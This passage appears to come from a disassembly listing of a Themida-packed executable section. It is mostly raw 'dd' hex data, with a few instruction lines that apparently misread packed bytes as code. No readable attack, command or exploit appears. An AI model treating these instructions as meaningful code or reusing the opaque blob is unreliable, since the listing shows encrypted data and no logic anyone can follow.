		dd 801CEAF6h, 0E2250CF9h, 50304A4Ch, 0F1C46B1Ah, 64E4FF66h
		dd 49CC41A8h, 749BE417h, 0E60005B2h, 39F68103h,	0C07EB16Ch
		dd 0DC8DFD0Ch, 50720508h, 0D1304Ch, 15532B39h, 0C5362CE9h
		dd 1854043Ch, 136E76C4h, 74765981h, 0A34A7Ch, 6BEB80EAh
		dd 0C3EAD328h, 0D7DDF4EBh, 89F11BC3h, 50ACCA50h, 555A2954h
		dd 805D11C8h, 0F66F1F6h, 0A8CC5DB6h, 6809BAD0h,	9C4510AAh
		dd 11427324h, 0E8280145h, 0F8257159h, 5A0F6691h, 9EC6B652h
		dd 7D23E946h, 1B2C926h,	37160F86h, 0A068D809h, 821E9A02h
		dd 5A88EC52h, 1A9F1B88h, 37A6F8A5h, 40495E76h, 0EDC103FAh
		dd 92FD3108h, 851061EFh, 16CAC505h, 0CB543C62h,	4A294DC2h
		dd 18304230h, 30E96117h, 0EA871B28h, 5EFC3693h,	0C2FE15AEh
		dd 0B2683F93h, 3B891821h, 672003C8h, 0B810027Bh, 42073209h
		dd 7F90E758h, 374BD107h, 886B0120h, 581208FDh, 8AE9AB60h
		dd 0C185C15Fh, 3167FB54h, 0F5A74174h, 2C9041F1h, 40D8C13Ah
		dd 0EED0C7C7h, 0E9CEFE05h, 0BA4A6DE7h, 2312A8F0h, 25B0F047h
		dd 44F85F2h, 1A878056h,	6C077C2Ah, 0D41B4835h, 0C0322D53h
		dd 24F75E90h, 41D805D0h, 0FC08E8C1h, 97059B40h,	58C689FBh
		dd 307840A0h, 0F6ACA942h, 320240F4h, 0E9DEF712h, 0B48E68D8h
		dd 626AB8A1h, 0EE81BAD1h, 0E62F2C8Fh, 2E40E5A9h, 0FF5DF280h
		dd 2E1A943Ch, 51800B8Fh, 75376850h, 99084CFDh, 0D9361E35h
		dd 0C2604920h, 0F37EE37Ah, 33835A02h, 5806EBC1h, 221E1ABBh
		dd 8820CB3h, 0C7503CCEh, 0ABD5F300h, 0D929A843h, 802FB05Bh
		dd 2D47CDC3h, 0A4034491h, 0BA1A8956h, 719CFA64h, 4ED83F8Eh
		dd 47399F14h, 8CF084h, 505AD730h, 7D017DB0h, 9C5B7837h
		dd 23CA9385h, 85EC2962h, 0D366A775h, 81044288h,	7945B64Ah
		dd 9E9AF6ADh, 9CA134E2h, 0A19A3C06h, 12064130h,	3A3F672Dh
		dd 8B827EE2h, 16CBC0Bh,	59CFE740h, 0E90EADBBh, 534CA263h
		dd 0F6DE6056h, 2D7A075Fh, 29D98951h, 879E4702h,	5BDD0101h
		dd 5A562CD9h, 2668389Fh, 9DE134Ch, 0E8C57C0Ch, 9829AA8Bh
		dd 14CB8D9h, 2D578564h,	0E0E27F21h, 11045905h, 0C9E9566Ah
		dd 0ECAD87B0h, 168AAA92h, 0C80F2D9Dh, 0C23BE70Ah, 546452E9h
		dd 31346C5Bh, 350F0801h, 416D6562h, 73682601h, 0B47C0114h
		dd 0C262810h, 811C8428h, 8724F58Dh, 42AC09C3h, 3F000C85h
		dd 0D7B864Dh, 50492D09h, 0E8078262h, 47B60002h,	5A6FF328h
		dd 3E9056AEh, 0B0DAB450h, 0BA4740B5h, 9C7DB809h, 1562826Bh
		dd 42ADC168h, 2F0F0E81h, 62534469h
		db 0Ah
; ---------------------------------------------------------------------------


loc_4E4695:				; CODE XREF: Themida_:004E46E5j
		rol	byte ptr [eax],	cl
		movsd
		adc	dh, [edx-7]
		insd
		jmp	near ptr 4F75B6D8h
; ---------------------------------------------------------------------------
		db 1, 26h, 4Ah
		dd 7C10E968h, 0AE62513Eh, 0BF01A90Eh, 5F040BDEh, 0B9255B20h
		dd 26141043h, 8085B777h, 0A7C193EEh, 6801861Dh,	2EFF3CF4h
		dd 1A2DB657h, 0C61162A9h, 596BBAA7h, 2A688414h,	0AAE8680Fh
		db 2Ah,	16h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jb	short loc_4E4695
		call	far ptr	0D12Ah:0C1F4CB6Bh
		hlt
; ---------------------------------------------------------------------------
		db 1
		dd 6880C158h, 1385CF81h, 7AC31A1Ch, 12BD33FDh, 25AF70Ch
		dd 0F8291048h, 5558A050h, 1D3F5C90h, 88D7D3F7h,	0F050ED83h
		dd 6B41BDh, 0ED814EFAh,	3A533261h, 4FECF5ECh, 18342130h
		dd 18E80CBCh, 1CDDF745h, 2404E2B2h, 5D585512h, 9A82B8D4h
		dd 2AE845CCh, 54500BE3h, 83300558h, 6D0146F4h, 0F9BA527Bh
		dd 51C43B0Dh, 0E31501B9h, 0BDE918F8h, 98A0078Ah, 58603C74h
		dd 485C4E01h, 4C82EC2Dh, 0E1C25866h, 0A120E3DAh, 0E0314844h
		dd 61E33324h, 80E38953h, 0DD476164h, 48E1D137h,	8E094681h
		dd 0B1806FBAh, 55A1173Ah, 67CB0124h, 0BB241410h, 7976047Ah
		dd 810FC189h, 0E1EDB9C5h, 5717B3C2h, 0C9E24281h, 600E7756h
		dd 1A1FD4D9h, 0F20249C5h, 61E7F72Dh, 4F343D46h,	0F8DCBA50h
		dd 486817D2h, 106E8C18h, 870B289Ch, 4D4D641Ch, 0FE039018h
		dd 8E2C0C2h, 0F507EA99h, 803B75D9h, 0A9430C90h,	0D0095Dh
		dd 77E6255Ah, 662D6067h, 2BAD381Dh, 75E34D40h, 0A08150E8h
		dd 2C01A693h, 14FF1AEAh, 580D07C1h, 4C155451h, 0C8B6F951h
		dd 6E1183Dh, 16F3CE1Dh,	67CA013Ah, 2C23331h, 0B262E844h
		dd 105849Ch, 3C885E31h,	450F95B0h, 175DE866h, 2DAEDEA8h
		dd 8D01F89Ah, 167204Dh,	74305F0h, 9068885Eh, 0BA9B15h
		dd 0DAC2E62h, 486A2FE9h, 272C001Bh, 8800981Fh, 3414B923h
		dd 9E2458F5h, 4C05E90Bh, 0F428EF90h, 98E7C080h,	15252DEAh
		dd 0A4513C3Ah, 0EEDBE9E3h, 705E6B3Eh, 0C501CD68h, 9D68580Bh
		dd 0C2501A6Ch, 2268E6A7h, 0CC016586h, 599AEC80h, 4A4D4F6h
		dd 1E5D192Ch, 0C8C62145h, 43E1A28h, 3F3AE401h, 692C6802h
		dd 0F758FD40h, 2D40D816h, 76915E01h, 7AF85505h,	0C2011288h
		dd 511ED258h, 3E280860h, 0F66F8324h, 78E94D04h,	0CF051ED0h
		dd 75093D79h, 0FF62D618h, 0C7029DC1h, 0CE21E10Dh, 5081E159h
		dd 6D419163h, 22C8DF1h,	20781559h, 883F5F01h, 0C97B96F5h
		dd 575A0290h, 51742E68h, 15D424F7h, 9679B2DFh, 33846FF6h
		dd 25CEF7D2h, 178F14CEh, 895CF8E9h, 0F6EC20F6h,	0FDF908B2h
		dd 299D80A3h, 147B2DC8h, 592B0502h, 404BD768h, 5F91BB67h
		dd 1CB86C0Ah, 22E9E109h, 29D86AD5h, 0B29D4142h,	0FB569F9Fh
		dd 8EEF97A4h, 0D54CEA30h, 51126608h, 3F1754F6h,	0FE865AD8h
		dd 4FF21280h, 8BE11D30h, 70203EBh, 82D24C91h, 30E6240Ch
		dd 68DE6059h, 627C6EEFh, 60A95B52h, 18FE0682h, 66606656h
		dd 0B93EB768h, 8CB001CCh, 78156BE9h, 3C8D3DCh, 44E305BDh
		dd 80D17AEAh, 16A3C55Ch, 17904CE6h, 0D53A732Ah,	0B767B50Eh
		dd 59EF0007h, 0C732F780h, 7E04F806h, 0D32C1E1Dh, 60DE165Bh
		dd 66A4B568h, 78B3531Bh, 3C24B61Ch, 0E90B04E8h,	0FC46623Bh
		dd 916805A8h, 54183865h, 52071C83h, 59273F85h, 3458361Ah
		dd 15E9C808h, 3022640h,	39436BDDh, 0A18BF1B0h, 894B5676h
		dd 0A3C18600h, 94320345h, 8E914B1h, 43E3E650h, 1B05501Ch
		dd 80F14C39h, 0B2083C0Dh, 0BEDCE922h, 92661624h, 3B489E4Fh
		dd 2398835Dh, 37FF3348h, 9A690631h, 0A9F6526h, 3B1DFCE9h
		dd 9FC722Ah, 0C380CBFEh, 92E15D84h, 784858C2h, 57CEFC0h
		dd 0BE64349h, 8749B652h, 0C6304E72h, 0F1CEFE01h, 2B1A60CAh
		dd 7969C488h, 0D3A8ACC4h, 0BE560540h, 2085EB6h,	38EE8147h
		dd 0B9E13076h, 519934BDh, 0C689561Ch, 0A54BF193h, 202FE6F3h
		dd 919ED073h, 7489C2Eh,	6C23B269h, 8170983Fh, 42B2906h
		dd 16D6608Ah, 6DC52D1Fh, 88C15EB4h, 0B3DCF16Fh,	25F94C01h
		dd 29CFAF12h, 0DE348293h, 5E52976Ch, 127D6A7Ah,	41C9A15Fh
		dd 67CFC9Dh, 0EC192070h, 5DAD9C95h, 1174EA3h, 0A22FC7FBh
		dd 0CD687603h, 2A9B3747h, 14F0E26h, 830EE9DFh, 539B2988h
		dd 0A05E8C69h, 515D0B8Fh, 36815A39h, 9A4E3486h,	0C0612792h
		dd 0F15CA4Eh, 42112666h, 0B5597AA5h, 0B2167FF7h, 5F2AEA03h
		dd 34CE4A45h, 0C550B075h, 610B1703h, 9F636855h,	30AC4164h
		dd 0B61190D2h, 3312FA27h, 25CD6C29h, 0B5E90C01h, 393D122Ah
		dd 466E5CAh, 0F557C781h, 76CC4Ah, 0F30712CBh, 335CE92Ch
		dd 763C5A81h, 350C83CDh, 557C4261h, 8035B700h, 3FA98EFh
		dd 53525BFCh, 0FE93E788h, 9C97C2BCh, 5D183576h,	595456D3h
		dd 0E985E75Eh, 0FBC05EC0h, 124A0128h, 1E6036C1h, 0CEABCC7Fh
		dd 28F721B6h, 12FFDD78h, 7821530Ah, 273AD371h, 179FE3B2h
		dd 34334E37h, 7F964685h, 0F048259Ah, 40ED75C8h,	4DBB2203h
		dd 0C85DEA89h, 124B87F2h, 9574CE3h, 89103034h, 0B50F0DFDh
		dd 0A4D30149h, 23921924h, 30C11ABh, 0E42E02E1h,	0C159B450h
		dd 0BAB01E50h, 40E53B80h, 0EFBB7624h, 3DA0F500h, 0F253647Ch
		dd 511C1F06h, 7C31D7Ah,	63780240h, 70417DF3h, 47E7F0F0h
		dd 0C4C4930h, 16AD7BC1h, 0CDD0192h, 218A7896h, 73ABCA4Ch
		dd 3670EE03h, 12FF523Eh, 28148B9Eh, 3E5B1713h, 6882F327h
		dd 0D11CE864h, 2CC174FEh, 3A3166CAh, 0EA9F0539h, 5AD78F16h
		dd 45BF9A5h, 0C351CFFDh, 0E458C76Ch, 28BC85D1h,	0D8CD0ADDh
		dd 775CDD08h, 2312D9EBh, 0A231E864h, 80DE2FDBh,	7868F1F7h
		dd 65DE9445h, 0E1C3B105h, 8D6E3C1Ch, 0D421614Eh, 0C4F653D0h
		dd 0B76082Fh, 424B0201h, 0A3A45BEEh, 86A5898Ah,	51027544h
		dd 0FE552AB9h, 6E56406Fh, 14013061h, 4B6B120Ch,	75C7C48h
		dd 48732A37h, 0E103C9C3h, 7A2824BBh, 0BE922A60h, 89648596h
		dd 90954484h, 6A744207h, 73B145C5h, 90030693h, 0CE0A4D05h
		dd 0E80C87F7h, 0E9D196A9h, 0A19D52ACh, 0DB0FCD0h, 7C6AEF4Dh
		dd 9B021E26h, 0B472FB03h, 0E40C0411h, 8C74E998h, 3CCA01E2h
		dd 8989C3D8h, 26585E2h,	3D5A77B7h, 2C0A317Dh, 9A1E4DD8h
		dd 0BCD8E4EAh, 8030B462h, 0F858E476h, 0C45D6227h, 43229562h
		dd 0DE90CBB6h, 0E348C001h, 75EB0037h, 3EE9A32Ch, 0CA63CF43h
		dd 1BAA79E3h, 0D8DDEAB1h, 8958BBE7h, 29212E55h,	12E8C103h
		dd 6896B131h, 242B79FDh, 3266970Bh, 5D5657FAh, 0C10E5F1Ah
		dd 68012C7Eh, 30CF759Ch, 0B099662Bh, 56F110BCh,	332A66Eh
		dd 0DA288E87h, 5BAAC2C3h, 0FEE72750h, 20C082E1h, 0E9378732h
		dd 5B770C84h, 0D6A20475h, 3321748Ch, 92860FAAh,	0E577BB72h
		dd 0BD12D24Eh, 5C59C0E3h, 0F31828C5h, 5FDE6AD9h, 9698126h
		dd 0F935000Dh, 121C492Bh, 0A5BD801h, 190A2D06h,	8931875Ah
		dd 0FB58869Dh, 2506A16Ch, 3A543442h, 2B63E906h,	0D5ED1C23h
		dd 0E41971Eh, 0BE86B301h, 777A3A12h, 0C69F530h,	5C60449Dh
		dd 0E904276Bh, 0EC320139h, 293F0E91h, 51B05337h, 58DE40CBh
		dd 7AA8EBFEh, 129F687Dh, 0B01FF8F2h, 33950BA1h,	3A0066C2h
		dd 2F603C17h, 880CCEECh, 187B023Bh, 5544581Bh, 3861680Bh
		dd 3D006866h, 18F413Ch,	4AB8E9EEh, 320D9357h, 6CBF9DC1h
		dd 0B99392A2h, 43928DDCh, 10A14DE2h, 535C0487h,	7FEC5B54h
		dd 52DB68C2h, 19622A76h, 2F2DC64Ch, 218105B9h, 6DF3D5E9h
		dd 8107618h, 8A1F0401h,	8913F921h, 3E40A6D8h, 0C58DE028h
		dd 5CA20818h, 4D515815h, 254BBA68h, 94C58454h, 0A012A84Fh
		dd 800AD668h, 0E0496FE9h, 0B9C100D9h, 0C059CE88h, 2C0779EEh
		dd 12A02DC6h, 8DF23643h, 0A503883Eh, 890D89ADh,	0C2A30B8Ch
		dd 8C21780Eh, 9CF68C8Bh, 0D05C12D4h, 7715E19Ah,	0E0522725h
		dd 7F9E5394h, 5FFA1649h, 12511631h, 4FD5F021h, 75093090h
		dd 22A9DD66h, 61EB012Ah
		dd 0D34A3EC5h, 0A9EA831Dh, 79068D88h, 3C733025h, 21F73572h
		dd 2B732B22h, 0D016AC8Fh, 3DE0E969h, 96527182h,	283B2DC1h
		dd 0FAE9C5A7h, 2ADF6A0h, 25DCEE81h, 0EC442BE5h,	736F5BC4h
		dd 4AF56802h, 10912771h, 17FE4D78h, 0D7BEA150h,	7A91CCC7h
		dd 33280AA0h, 0C130B600h, 0D7F708EFh, 0CECF1D81h, 5BD27Dh
		dd 642DF1A9h, 5EFE31FAh, 0DA88E91Bh, 0FD3E9A4h,	0BA66D4h
		dd 67B451F0h, 295EF231h, 0D2546Ah, 204E9C7h, 0EED1FEF9h
		dd 5F7C317Eh, 8A0D4BD5h, 182E53A5h, 29E91EC8h, 24770E00h
		dd 29C5CE4Dh, 0E872FB80h, 30C2986Ah, 4108D5F7h,	0FE09B850h
		dd 0D0106E75h, 0F8ED80F8h, 43722674h, 0ED1714BCh, 0A57181A5h
		dd 1CE3262Dh, 0FAAA5466h, 0B9BCD0FEh, 6509B313h, 942878DAh
		dd 0FE84CFBAh, 5635CC3Ch, 0EEDBD2A3h, 0E50673AEh, 36AC177Fh
		dd 43D8A0B0h, 4BB70509h, 28DD24E9h, 2F605C2Ah, 2C76B9A5h
		dd 0D280F306h, 47AB4408h, 45B9D9F7h, 79CCF101h,	0D0DB5260h
		dd 7EC2AE92h, 0C98A49AAh, 685A5F02h, 53AF7929h,	4938314h
		dd 91BD52DDh, 0E0AFCCFCh, 199D6B5Fh, 9938DD0Bh,	0A6FB8A29h
		dd 30323790h, 55C7E9B1h, 0A92894B7h, 102B820Fh,	3410B8FAh
		dd 91502C6Eh, 0B1E57018h, 733A985Eh, 0F5C90FB2h, 0E104D1F6h
		dd 6E2E828Ch, 68706176h, 31584A93h, 0D1C0C22h, 356FCE3Ch
		dd 0B951EB29h, 7822E942h, 9958588Fh, 278B5A24h,	0B2544B92h
		dd 334CC00Ah, 0C482B289h, 7B28667Ah, 0EFA3E26Fh, 555AB6F1h
		dd 1EA10018h, 0E2814755h, 0C5514602h, 7469E909h, 0CA300B3Ah
		dd 0F58B7A0Bh, 2E3F7DC5h, 2C80CB2Fh, 68F02853h,	0D02D5659h
		dd 95233035h, 22FDE620h, 467C0934h, 484713Fh, 6D6FF0C1h
		dd 7CE5449h, 50D50F5Bh,	58BD6B4Fh, 42C34FB0h, 64FF6863h
		dd 72E299A2h, 7E083A65h, 30452C47h, 4B5E236Ch, 46CA014Ah
		dd 495F5B26h, 9E0253C4h, 15C301Ch, 97242D9h, 5178A908h
		dd 0D789496Bh, 5A00E2D0h, 0C480D4F6h, 76B75301h, 39E70984h
		dd 0ACE1BBE9h, 0FD233BFh, 0C4575FF9h, 0DFAC6096h, 4F4585C6h
		dd 9BB189B5h, 0BE20024Bh, 40CC41BCh, 1EC32840h,	1374609h
		dd 3C9D02EAh, 0DE3107BFh, 829377EAh, 23CF85BDh,	62DBC340h
		dd 53CE7482h, 0B2C565F7h, 93165FF1h, 8187CA68h,	214975Ch
		dd 0DAED42Dh, 0DCD39443h, 180E9C24h, 0F58764BBh, 8E9FFEE4h
		dd 0C1109845h, 98AEA3E5h, 4CCB253Eh, 0D4024F7Eh, 1F3F4FFh
		dd 855A535Ch, 3CF17FDDh, 0B2107767h, 0EF89D663h, 1BC7452Fh
		dd 5EBC323Eh, 369409F0h, 0A10C8366h, 307A384Ch,	34D4686Ch
		dd 5D9E98BDh, 0DBBB8032h, 395C6FFAh, 0C73B002Ch, 0DE01A8F4h
		dd 939B49E9h, 17685F1Eh, 4CBD6016h, 6C0A5A47h, 0B64B1AE9h
		dd 0EAEBEE80h, 0EF56D954h, 47B5A482h, 95546CACh, 0C8DF8A8Bh
		dd 3D22EB5Eh, 0D2A7364Ch, 13602BCAh, 2980E2D5h,	5394C5EBh
		dd 5DE30205h, 9980FB01h, 726644D7h, 0E558E913h,	9DCEBC40h
		dd 0EC6BB353h, 305579F3h, 0FC0CD4EBh, 879713E9h, 79645692h
		dd 8658B4BCh, 0A2099413h, 5B804B9Bh, 0B4540768h, 21306197h
		dd 0F5572127h, 7213E15h, 0C3071BF9h, 5458BA1Eh,	1A62554h
		dd 0C0A9B12Ch, 0F68003F8h, 49A7B0B9h, 0F11A451Dh, 0C8600646h
		dd 11EE4282h, 0DB28DD92h, 8B20835Fh, 63F0F4E3h,	0EAD10AB9h
		dd 12654424h, 7FDE56C0h, 0BF3BEE3h, 0CC785E55h,	850B4609h
		dd 74F60406h, 11785C0Bh, 13417AF6h, 0C411C320h,	0BC3FBC3h
		dd 87DE115Eh, 945B5C6Ch, 0F1C9C460h, 0C9AD7C14h, 6A0CF220h
		dd 2F35726h, 225B7D4Bh,	0B13BF043h, 187B1254h, 4D9094B3h
		dd 49026710h, 0B840D37Ch, 0DB0265Eh, 0EDC1025Dh, 14E95507h
		dd 5BEB850h, 6E6053Eh, 971DC683h, 0FAF68180h, 0B64112A8h
		dd 0ABE90B45h, 0B8668720h, 684E5059h, 591F2925h, 4128BE07h
		dd 55D5BD41h, 1BF529E0h, 275E9FE9h, 0E8815AD9h,	0FE3072FDh
		dd 0E9088E65h, 181BC86h, 0E8285604h, 841D22Ch, 1D4E6FBBh
		dd 0B92EEAE1h, 58C707B8h, 0E4A4DFF6h, 0D8290C90h, 6586D2FFh
		dd 1D5A05DDh, 3E4E976h,	48D0D30Eh, 595AA201h, 13834410h
		dd 1F9243E2h, 0B8A02DC8h, 0A7328BFh, 5350BB94h,	6CDE0CBBh
		dd 0E1580B2Dh, 9E9045F0h, 943FBE38h, 0AD0989h, 4F0C74B6h
		dd 0B42F32E9h, 56D66298h, 0F816801h, 6EC12238h,	414DCD0Dh
		dd 0E962B8A0h, 0BE022B01h, 78E3E953h, 6B8AB478h, 897A54C2h
		dd 1E027690h, 0E9524D3Ch, 7EB4B3Ah, 0A90C4EB2h,	61E06968h
		dd 0F375815Bh, 826CC33Ch, 84E9D989h, 3CB2E521h,	0A25BC5CBh
		dd 10E804A4h, 0E81C831h, 90761373h, 68052614h, 0B05D6C81h
		dd 74DB6410h, 48864A07h, 33D1EF81h, 37607BCBh, 66B30227h
		dd 5FFB8992h, 80C85DE1h, 544FB8B8h, 16522FAAh, 157E0BAh
		dd 0E9D02921h, 253728CDh, 689FB087h, 423B55FDh,	0C5E5082Eh
		dd 1BF4B849h, 1EAA44Bh,	2EED506Ch, 245BDA89h, 4134E91Fh
		dd 0ECC28CD9h, 4A1AF0CAh, 90C8F58h, 0E6C8BE0Fh,	98E2E6A6h
		dd 7AD201E7h, 22680F3Dh, 44636360h, 0F549E9C7h,	0DD5828BCh
		dd 48015A2Dh, 3D5FB27Ah, 0C3A52D79h, 3030E608h,	68555278h
		dd 0F0627B98h, 0CC3D05A4h, 931CA06Dh, 0C8F3CF34h, 0BEBA1E92h
		dd 90FB34CFh, 0DD285FE4h, 0FE252A7Fh, 0F074E4D8h, 20B4B6A5h
		dd 74A18215h, 28E970CCh, 0BA2CB76Ch, 831D9950h,	0B8186DBEh
		dd 4B16027h, 0C8C45F3Fh, 5091BF1Ah, 6F170BD3h, 680269F3h
		dd 8DAB7E68h, 8E970B0Ah, 4DE9DAF7h, 0D6083059h,	0C422657h
		dd 0F54B3294h, 80DB509h, 2A8C001Ch, 241B8D0Ch, 0AD3050E9h
		dd 0CA601EEh, 5C4E9720h, 66828B5Eh, 0C278F9F7h,	3AA56815h
		dd 0B951026Dh, 41CA14C9h, 8F6569EFh, 2C4A5526h,	0CF41B05Bh
		dd 1565C70h, 0F7495968h, 4C348B78h, 29984E1Ah, 26215A6Bh
		dd 0B81F8704h, 0B8DFF8B6h, 8B04DFBDh, 0E810C645h, 0D181DD9Ch
		dd 841A121h, 3372FA35h,	0A87EDB01h, 45C7214Fh, 6064F99Eh
		dd 375D0E82h, 60A4BE77h, 0D8DAE951h, 6DC927C0h,	0F6201A77h
		dd 0AE809D76h, 0EE80EDB6h, 0D6F6F813h, 1E097F08h, 85B5E88h
		dd 8101516Eh, 5C3EC8E1h, 40E3238h, 1CB4802h, 50685601h
		dd 808C2A1Dh, 0DCF68A9Ah, 650E9D12h, 0AF46B6D2h, 0B47EB5EDh
		dd 0E07635A2h, 3026689Fh, 5F625210h, 7B8DC15Ah,	0CF021962h
		dd 7A376803h, 9CF34660h, 898FB707h, 6984E9FDh, 4F7B89CAh
		dd 1340A5Dh, 0A98918C4h, 1505A5BEh, 0F53113DAh,	376AE259h
		dd 0F68A05DFh, 0C4C3FEDBh, 0C80184BAh, 0ADAB5B66h, 0B82D0E5Eh
		dd 0A020BB65h, 0FF1010CDh, 67300476h, 6C1D0A58h, 0E99305A5h
		dd 52F890D0h, 4295B5B2h, 87AFC24Fh, 3942C849h, 298BAEE2h
		dd 57F1661Bh, 830B756Bh, 44AB02C5h, 66174A16h, 6F22B30Fh
		dd 80C0A12Dh, 69D73F4h,	0A3EB80D5h, 57E9E328h, 5F16DE94h
		dd 0A27AB736h, 691F56A8h, 11EEBC2Ch, 26DE5901h,	0E27CE947h
		dd 0CD9C8D2Bh, 0E388024Eh, 0E2EB9A37h, 778B5AD1h, 43FA4DC3h
		dd 322A5C27h, 83273EDEh, 0B7E5E10Eh, 0B42EC3CEh, 0EEC12812h
		dd 0D87BCB04h, 305ABA09h, 71FC6813h, 0A1E0D935h, 0E70C44EFh
		dd 0FA68A808h, 0F75C011Ch, 8889FB05h, 132EB8ABh, 840D1342h
		dd 4A03B77Bh, 5BBD3905h, 3C8666ECh, 6E277F36h, 48F71822h
		dd 4903162Ch, 0C7958401h, 9275B453h, 6881694Eh,	655106E1h
		dd 4BFA2030h, 0E1634A55h, 0E34AEA13h, 25011156h, 29762F4Ch
		dd 25107FD3h, 0D7531BFCh
		dd 0F5D3668Fh, 81BB2FFAh, 3B6522Fh, 8353F743h, 0AAC3ABF3h
		dd 78C64A5Ah, 0B7875877h, 0A0AC9D67h, 1FB35352h, 2863B607h
		dd 0F0375BDEh, 0F38FCECCh, 91AD7707h, 7F03C468h, 0BA9D405Eh
		dd 131FE3Ah, 291531D0h,	62555F01h, 4B06D1F8h, 0E1D1B0D5h
		dd 90A5B3D3h, 0EB25C553h, 1651C346h, 30B3C0E6h,	14EE6817h
		dd 0DB49F596h, 0C6EEADC4h, 0CC2B82BDh, 7A59FE20h, 68C17256h
		dd 0CD26524Ch, 5F70C215h, 4A1AAD6Ah, 0F6E730FCh, 0DA3B5339h
		dd 0FEEE007Fh, 90A446Fh, 5FE925F2h, 2C5A8DE1h, 14F80D7Eh
		dd 41F0B92Ah, 29643BF5h, 3A081C68h, 0CC02C9A5h,	2955CB01h
		dd 98438E8h, 0A73AB5E6h, 0DFC2C3DEh, 6BB0D45Bh,	9417664h
		dd 2910B002h, 0F5F2FD89h, 0DBE858A0h, 2A1BBCABh, 0E90B5450h
		dd 102423C1h, 46F02468h, 0B5CA22C7h, 6FE25201h,	0D501F45Ah
		dd 0A7D38BFCh, 0A0DBBC27h, 0E2814A36h, 761A71C2h, 80F20B1Fh
		dd 81DFD67Eh, 614389BEh, 6B276060h, 58E86F55h, 0B3C0B2B7h
		dd 696E90EBh, 59BEC143h, 6F1D3E75h, 6808CF50h, 4BBE141Ch
		dd 0B05516A4h, 797701C1h, 0CBE922C2h, 82A24805h, 0C4A5BF8h
		dd 0E2C14700h, 4E836806h, 21BD3009h, 2C15FD43h,	7ABA5BE9h
		dd 0C6030604h, 33C7C140h, 307E333h, 10F9C82h, 0E074B71h
		dd 16DF606Eh, 31BE0199h, 183F5EF0h, 4EEFFE3Eh, 12798731h
		dd 93C95E9h, 2D406809h,	0A1823851h, 526C314Dh, 7A1123BEh
		dd 393DE985h, 0F05862F4h, 0E7426F0Ah, 4FF762CEh, 78A4DBE9h
		dd 3AAD9977h, 51503730h, 0D6B0968h, 1002729Ah, 0A1D6B33Fh
		dd 3133C84Fh, 6F5FF9C6h, 46F57637h, 98308F4Ch, 0D06DA32h
		dd 0CC20CA52h, 0CFFE0766h, 30B1F780h, 0FC2862EFh, 0E7024E98h
		dd 0E9350458h, 0C007C88Eh, 98056FEEh, 92EB6345h, 0FBD2DD50h
		dd 14B6A632h, 0C012C347h, 0F8613764h, 13A7AB44h, 21D25CA3h
		dd 2BB18BA8h, 5F54C088h, 106A8A5Ah, 7694BF57h, 383E7F07h
		dd 10FAF524h, 5F2508DDh, 885D4644h, 0F8495AF8h,	3602B48h
		dd 41C02C4Fh, 397CE175h, 84D1F196h, 0DD70AA62h,	40F2B8C3h
		dd 0BE5E0862h, 8929446Ah, 10B1D5E7h, 0ECEF0FF7h, 0B9CD3BFh
		dd 12AFCE86h, 0F141D1A5h, 0F226ED2Fh, 4D342F48h, 84E9D296h
		dd 5EAC74DAh, 9A5EE48h,	0AA442F7Bh, 0F9BE560Eh,	764B6974h
		dd 718FBC21h, 0D609798Dh, 13C9380h, 0E6FC681Bh,	0D333A60Ch
		dd 71FE283Dh, 29C704FDh, 0F085E9F3h, 440E0543h,	0A77A8E52h
		dd 14141FB2h, 2102C310h, 4F4D0F4Eh, 0E4DE6FE2h,	0F95B0B8Bh
		dd 23953E54h, 914E5150h, 7548102Fh, 0CFE0B9EEh,	829D080Bh
		dd 8B0885Dh, 856E6CF4h,	300C7574h, 1661E1E9h, 3D1178BAh
		dd 0A92D7DA2h, 0F7FB5E62h, 14624308h, 0CDCB99B9h, 290A8CA9h
		dd 0C9B800ABh, 0F712B126h, 7A05D800h, 0E943F65Fh, 125AB287h
		dd 0A8142868h, 5750C09Fh, 911D1FE9h, 0E3180243h, 0A580F665h
		dd 4F6E3844h, 0EEB92950h, 685A08A0h, 7A7F0D09h,	0E97D483Fh
		dd 0D30A4BA0h, 0C8C1238Fh, 17F4CDAh, 683C6895h,	0C9BBE7A6h
		dd 0ABDD69B0h, 6F7A627Ah, 869AE55Ch, 942939DCh,	0C783841Bh
		dd 8F818802h, 0C78A67D7h, 2912B056h, 975C06F8h,	312101Ah
		dd 0F6FC5901h, 0BF026D88h, 0C03C464Bh, 0E2B9C73Eh, 2DBD00C3h
		dd 74FE0C97h, 551F801h,	964F7907h, 0D5B45CF2h, 0A1A6FCF9h
		dd 612F5DE8h, 41790BBh,	0EDE81A8Dh, 443DBB3Bh, 0EE11F48Fh
		dd 0F57F4763h, 387424D2h, 80A8222Bh, 7AC3D8EBh,	0F10117E8h
		dd 0FCA4845Eh, 0B7E5F6E7h, 9F60532Ch, 16216E41h, 2B27E829h
		dd 0DCF92B69h, 218031A3h, 4D949FCFh, 3B95104h, 0A7C0FA12h
		dd 27658C9h, 414942A0h,	5B6AD1E9h, 4C023A56h, 0A468927Ch
		dd 49C32DE8h, 17E9D177h, 5F88BB24h, 0EB9C82DDh,	0A4BD0F5Ah
		dd 6B9046C9h, 79B226B1h, 0F25C254Ch, 662D2DD9h,	51C8596Ch
		dd 7E1F6882h, 31275971h, 7DA80F29h, 44020C97h, 7C0C0851h
		dd 1C4025ECh, 160BF426h, 0F5D101C9h, 5F6D23B6h,	0C1163424h
		dd 2196A5A6h, 212C093h,	9F307159h, 87BE565Eh, 0CFC3C741h
		dd 12108709h, 213758C7h, 0E4D42DF8h, 503365D2h,	0C552D46h
		dd 18752F1Ah, 0F34668E9h, 80463623h, 334FD04Fh,	1B23E156h
		dd 5A0CA001h, 68DF985Dh, 933F4B25h, 85540F7Fh, 877D234h
		dd 5F162898h, 892485A3h, 0FD00828h, 24EC3112h, 1B49D835h
		dd 75D22F9Ch, 4D98C178h, 240AAD68h, 51C1D864h, 1C81EAD7h
		dd 0FE5AD308h, 2772E8CBh, 0CCECD9CAh, 5DBA644Fh, 7D60AC8Dh
		dd 0C5C28211h, 28F3F700h, 317ED40Bh, 602CB326h,	8B73B282h
		dd 8357E19h, 0F825F36Bh, 9982689Fh, 915FECB7h, 6FBFDF64h
		dd 0A87A1353h, 0F25732E3h, 84710B37h, 702819Fh,	55522708h
		dd 3E084D28h, 0BE8FAA7h, 731224EBh, 0E6271CFEh,	78D07CF4h
		dd 0C5BD4B8h, 0D8BE61AFh, 0C65E290Bh, 55479529h, 68AA34B4h
		dd 134FE943h, 4DB10C13h, 9288B2Eh, 446F9A68h, 457CA43Bh
